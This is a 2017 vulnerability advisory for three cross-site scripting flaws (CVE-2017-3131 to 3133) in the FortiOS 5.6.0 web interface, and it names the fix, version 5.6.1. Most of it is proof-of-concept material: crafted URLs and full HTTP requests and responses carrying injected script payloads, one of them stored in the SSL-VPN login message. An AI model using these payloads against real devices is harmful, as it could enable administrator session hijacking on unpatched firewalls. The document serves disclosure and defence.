FortiOS 5.6.0 Cross Site Scripting
Posted on 01 August 2017
# Title: FortiOS <= 5.6.0 Multiple XSS Vulnerabilities # Vendor: Fortinet (www.fortinet.com) # CVE: CVE-2017-3131, CVE-2017-3132, CVE-2017-3133 # Date: 28.07.2016 # Author: Patryk Bogdan (@patryk_bogdan) Affected FortiNet products: * CVE-2017-3131 : FortiOS versions 5.4.0 to 5.6.0 * CVE-2017-3132 : FortiOS versions upto 5.6.0 * CVE-2017-3133 : FortiOS versions upto 5.6.0 Fix: Upgrade to FortiOS version 5.6.1 Video PoC (add admin): https://youtu.be/fcpLStCD61Q Vendor advisory: https://fortiguard.com/psirt/FG-IR-17-104 Vulns: 1. XSS in WEB UI - Applications: URL: https://192.168.1.99/ng/fortiview/app/15832" onmouseover=alert('XSS') x="y Http request: GET /ng/fortiview/app/15832%22%20onmouseover=alert('XSS')%20x=%22y HTTP/1.1 Host: 192.168.1.99 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Cookie: APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AZxzmYv40KrD1JvCdcctTzmuS+OEd08y+4Vh54tq%2Fap2ej%2F1gJfbaindJ5r4wDXZh%0A4q%2FfgVCdTfMFn+Mr6Xj5Og%3D%3D%0A%26AuthHash%3D9+TbiFXbk+Qkks0pPlkbNDx2L1EA%0A"; ccsrftoken_573485771="5424C6B3842788A23E3413307F1DFFC5"; ccsrftoken="5424C6B3842788A23E3413307F1DFFC5"; VDOM_573485771=root; csrftoken_573485771=da85e919f71a610c45aff174b23c7a10 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Http response: HTTP/1.1 200 OK Date: Thu, 23 Mar 2017 12:07:47 GMT Server: xxxxxxxx-xxxxx Cache-Control: no-cache Pragma: no-cache Expires: -1 Vary: Accept-Encoding Content-Length: 6150 Connection: close Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-UA-Compatible: IE=Edge (...) <span class="fgd-app tooltip id_15832" onmouseover="alert('XSS')" x="y " data-address="undefined" data-dport="443" data-protocol="6"><a href="https://www.fortiguard.com/fos/15832" onclick="return false;" data-hasqtip="2"><span class="app_icon app15832" onmouseover="alert('XSS')" x="y"></span><label class="app_label" title="">15832" onmouseover=alert('XSS') x="y</label></a></span> (...) 2. XSS in WEB UI - Assign Token: URL: https://192.168.1.99/p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert('XSS')%3C/script%3E%3Cscript%3E Http request: GET /p/user/ftoken/activate/user/guest/?action=%3C/script%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E%3Cscript%3E HTTP/1.1 Host: 192.168.1.99 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Cookie: APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0ALuXSfDjrp0Gel8F8TeKlBgC3kk4P1mhdELHr2Cicb3Zb6hBUnT9ZZnjXC44Dc7bD%0Ae2ymJG%2FgbHFa+4N9AVDIrg%3D%3D%0A%26AuthHash%3DMyJMLA32ueruHIEKia2eb9BWi8oA%0A"; ccsrftoken_573485771="314A25687F6B2075F9413405575D477"; ccsrftoken="314A25687F6B2075F9413405575D477"; VDOM_573485771=root; csrftoken_573485771=593eb7ed5cb9704ffa4f388febbd5160 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Http response: HTTP/1.1 200 OK Date: Thu, 23 Mar 2017 13:39:17 GMT Server: xxxxxxxx-xxxxx Content-Security-Policy: frame-ancestors 'self' Expires: Thu, 23 Mar 2017 13:39:17 GMT Vary: Cookie,Accept-Encoding Last-Modified: Thu, 23 Mar 2017 13:39:17 GMT X-UA-Compatible: IE=Edge Cache-Control: max-age=0 X-FRAME-OPTIONS: SAMEORIGIN Set-Cookie: csrftoken_573485771=593eb7ed5cb9704ffa4f388febbd5160; expires=Thu, 22-Mar-2018 13:39:17 GMT; Max-Age=31449600; Path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 3485 (...) <script type="text/javascript"> var ftokens = []; var action = '</script><script>alert('XSS')</script><script>'; </script> </head> (...) 3. Stored XSS in WEB UI - Replacement Messages: #1 - Http request: POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1 Host: 192.168.1.99 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Referer: https://192.168.1.99/p/system/replacemsg/edit/sslvpn/sslvpn-login/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRFTOKEN: d58f666c794024295cece8c5b8b6a3ff X-Requested-With: XMLHttpRequest Content-Length: 125 Cookie: guest_user_group_21232f297a57a5a743894a0e4a801fc3=; APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AYLFfh9FU2cKvm+hvxa8SbqbuwSnhEdeYV7CatzaScTAAOryJNdjQjDTLke8gJLfS%0A8Zx7lNyNxQr6xJIaKg5lpA%3D%3D%0A%26AuthHash%3D5NI4JPbIioX2ZJvxtEOGAOJ7q5UA%0A"; ccsrftoken_573485771="592068D7C2B5BDB7A91833DB6A512C14"; ccsrftoken="592068D7C2B5BDB7A91833DB6A512C14"; VDOM_573485771=root; csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D DNT: 1 Connection: close csrfmiddlewaretoken=d58f666c794024295cece8c5b8b6a3ff&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert('XSS')%3C%2Fscript%3E%0A #1 - Http response: HTTP/1.1 302 FOUND Date: Thu, 23 Mar 2017 15:36:33 GMT Server: xxxxxxxx-xxxxx Content-Security-Policy: frame-ancestors 'self' Expires: Thu, 23 Mar 2017 15:36:33 GMT Last-Modified: Thu, 23 Mar 2017 15:36:33 GMT Cache-Control: max-age=0 X-FRAME-OPTIONS: SAMEORIGIN X-UA-Compatible: IE=Edge Set-Cookie: EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%2C%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D; Path=/ Location: https://192.168.1.99/p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 0 #2 - Http request: GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1 Host: 192.168.1.99 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Referer: https://192.168.1.99/p/system/replacemsg/edit/sslvpn/sslvpn-login/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRFTOKEN: d58f666c794024295cece8c5b8b6a3ff X-Requested-With: XMLHttpRequest Cookie: guest_user_group_21232f297a57a5a743894a0e4a801fc3=; APSCOOKIE_573485771="Era%3D1%26Payload%3DA+atTWBwvFhsVyeZCawBjqawVjqToqqb7RtR7z65XQ1XA+FMbnMTjrQVL5M9SMja%0A5+K56lAZIAEoAPgLmHWvggOu4zlndadoAHR%2FOT7Jn3D35m6HugqQgMfMqs8JfWd9%0AYLFfh9FU2cKvm+hvxa8SbqbuwSnhEdeYV7CatzaScTAAOryJNdjQjDTLke8gJLfS%0A8Zx7lNyNxQr6xJIaKg5lpA%3D%3D%0A%26AuthHash%3D5NI4JPbIioX2ZJvxtEOGAOJ7q5UA%0A"; ccsrftoken_573485771="592068D7C2B5BDB7A91833DB6A512C14"; ccsrftoken="592068D7C2B5BDB7A91833DB6A512C14"; VDOM_573485771=root; csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; EDIT_HISTORY_573485771=%5B%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%2C%7B%22path%22%3A%22system.replacemsg%22%2C%22name%22%3A%22sslvpn%22%2C%22mkey%22%3A%22sslvpn-login%22%7D%5D DNT: 1 Connection: close #2 - Http response: HTTP/1.1 200 OK Date: Thu, 23 Mar 2017 15:36:33 GMT Server: xxxxxxxx-xxxxx Content-Security-Policy: frame-ancestors 'self' Expires: Thu, 23 Mar 2017 15:36:33 GMT Vary: Cookie,Accept-Encoding Last-Modified: Thu, 23 Mar 2017 15:36:33 GMT X-UA-Compatible: IE=Edge Cache-Control: max-age=0 X-FRAME-OPTIONS: SAMEORIGIN Set-Cookie: csrftoken_573485771=d58f666c794024295cece8c5b8b6a3ff; expires=Thu, 22-Mar-2018 15:36:33 GMT; Max-Age=31449600; Path=/ Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 70940 (...) <form id="replacemsg_form"> <div style='display:none'><input type='hidden' name='csrfmiddlewaretoken' value='d58f666c794024295cece8c5b8b6a3ff' /></div> <textarea id="buffer" name="buffer">ABC</textarea> <script>alert('XSS')</script> </textarea> (...)
